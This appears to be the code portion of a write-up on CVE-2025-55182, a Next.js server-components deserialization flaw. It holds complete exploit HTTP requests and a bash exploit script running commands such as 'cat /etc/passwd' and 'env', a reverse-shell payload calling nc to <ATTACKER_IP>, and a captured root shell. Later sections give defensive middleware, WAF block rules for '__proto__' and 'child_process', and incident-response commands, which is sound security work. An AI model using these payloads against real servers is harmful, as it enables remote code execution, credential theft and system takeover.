Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

npm run dev

http://localhost:3000

curl http://localhost:3000/

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

chmod +x exploit.sh
./exploit.sh

COMMAND="ls -la /"

COMMAND="whoami"

COMMAND="cat /etc/passwd"

COMMAND="netstat -tuln"

COMMAND="env"

ncat -lvnp 9009

nc -lvnp 9009

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin  boot  dev  etc  home  lib  ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

Error: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)

npm install next@latest

// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

export function middleware(request: NextRequest) {
  // Reject suspicious payloads
  if (request.headers.get('content-type')?.includes('multipart/form-data')) {
    const bodyString = request.body?.toString() || '';
    
    // Block payloads containing dangerous patterns
    if (bodyString.includes('__proto__') || 
        bodyString.includes('constructor') ||
        bodyString.includes('child_process')) {
      console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
      return new NextResponse('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: ['/:path*']
};

module.exports = {
  experimental: {
    serverActions: {
      enabled: false // Disable if not needed
    }
  }
};

# Create a dedicated user
useradd -r -s /bin/false nextjs

# Run the service under this user
sudo -u nextjs node server.js

# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js

FROM node:20-alpine

# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001

WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production

COPY . .

USER nextjs

EXPOSE 3000
CMD ["node", "server.js"]

docker run \
  --cap-drop=ALL \
  --cap-add=NET_BIND_SERVICE \
  -u nextjs:nextjs \
  --security-opt=no-new-privileges \
  --read-only \
  --tmpfs /tmp \
  my-nextjs-app

// Custom logging middleware
app.use((req, res, next) => {
  // Log all POST requests with Next-Action header
  if (req.method === 'POST' && req.headers['next-action']) {
    const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
    const bodyString = JSON.stringify(req.body);
    
    const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
    
    if (isSuspicious) {
      console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
      console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
      console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
      
      // Alert security team
      // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
      
      return res.status(403).json({ error: 'Forbidden' });
    }
  }
  
  next();
});

# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
  "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
  "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"

# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
  "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
  "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"

# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
  "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"

{
  "Name": "BlockRCEAttempts",
  "Rules": [
    {
      "Name": "BlockProtoPolluton",
      "Priority": 1,
      "Statement": {
        "ByteMatchStatement": {
          "FieldToMatch": { "Body": {} },
          "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
          "PositionalConstraint": "CONTAINS",
          "SearchString": "__proto__"
        }
      },
      "Action": { "Block": {} },
      "VisibilityConfig": {
        "SampledRequestsEnabled": true,
        "CloudWatchMetricsEnabled": true,
        "MetricName": "BlockProtoPolluton"
      }
    }
  ]
}

app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

# Scan dependencies for vulnerabilities
npm audit
npm audit fix

# Use snyk for continuous monitoring
snyk monitor

# Regular penetration testing
# Schedule quarterly security assessments

# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/

# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"

# 3. Check network connections
netstat -tuln
lsof -i -P -n

# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP

# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/

# 6. Notify your security team and apply patches

{
  // Step 1: Target the prototype chain
  "then": "$1:__proto__:then",
  
  // Step 2: Mark as resolved model
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  
  // Step 3: Inject code through _response
  "_response": {
    // The injected JavaScript code
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    
    // Reference to form data
    "_chunks": "$Q2",
    
    // Access constructor through form data
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}